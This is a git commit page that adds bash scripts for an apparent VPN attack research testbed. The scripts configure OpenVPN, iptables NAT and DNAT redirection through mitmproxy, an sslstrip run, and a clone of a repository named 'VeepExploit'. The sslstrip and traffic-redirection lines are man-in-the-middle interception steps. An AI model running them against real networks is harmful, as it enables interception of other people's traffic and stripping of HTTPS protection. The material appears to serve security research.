adding original attack test scripts and demos

This commit is contained in:
Beau Kujath committed 2021-01-26 18:08:23 -07:00
1 parent 42571735de
commit 5882c33314
102 files changed
+32248

No files matched your search

+15
View File
@@ -0,0 +1,15 @@
#/bin/bash
#!
echo "Connecting to local vpn server.."
sleep 0.1
sudo openvpn --client --config client* &
sleep 8 # might need to sleep longer to make sure tun0 exists
echo "Adding ip route rule to force traffic destined for web+dns servers to use vpn tun interface"
sudo ip route add 192.168.3.2 dev tun0
@@ -0,0 +1,17 @@
#/bin/bash
#
echo Adding nat iptables rules to route traffic through mitmproxy..
sudo iptables -t nat -A PREROUTING -i enp0s8 -p tcp --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -i enp0s8 -p tcp --dport 443 -j REDIRECT --to-port 8080
echo Adding redirect to real server rules..
REDIRECT_IP=157.240.2.35
sudo iptables -t nat -A OUTPUT -p tcp -d 192.168.2.2 --destination-port 80 -j DNAT --to-destination $REDIRECT_IP
sudo iptables -t nat -A OUTPUT -p tcp -d 192.168.2.2 --destination-port 443 -j DNAT --to-destination $REDIRECT_IP
@@ -0,0 +1,33 @@
#!/bin/bash
#
echo "Cloning libitns from git.."
cd ~
git clone https://github.com/mfontanini/libtins.git
echo "Installing requirements (libpcap, libssl, cmake, g++)"
sudo apt install libpcap-dev libssl-dev cmake -y
sudo apt install g++ -y
echo "Compiling libtins.."
cd ~/libtins
mkdir -p build
cd build
cmake ../ -DLIBTINS_ENABLE_CXX11=1
make
sudo make install
echo "Updating ldconfig cache.."
sudo ldconfig
echo "Cloning attack repo.."
cd ~
pwd
git clone https://git.breakpointingbad.com/beau/VeepExploit.git
@@ -0,0 +1,29 @@
#!/bin/bash
#
echo iptables-persistent iptables-persistent/autosave_v4 boolean true | sudo debconf-set-selections
echo iptables-persistent iptables-persistent/autosave_v6 boolean true | sudo debconf-set-selections
sudo apt-get install iptables-persistent -y
echo Flusing any old iptables rules..
sudo iptables -F
sudo iptables --table nat -F
sudo iptables --delete-chain
sudo iptables --table nat --delete-chain
echo Adding forward and masquerade rule for NATing
sudo iptables -t nat --append POSTROUTING --out-interface enp0s3 -j MASQUERADE
sudo iptables --append FORWARD --in-interface enp0s8 -j ACCEPT
echo Saving the current iptables config..
sudo netfilter-persistent save
+8
View File
@@ -0,0 +1,8 @@
#/bin/bash
#
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
sslstrip -l 8080 -w strip.log
sudo iptables -t nat -A OUTPUT -p tcp -d 69.172.200.235 -j DNAT --to-destination 34.98.124.198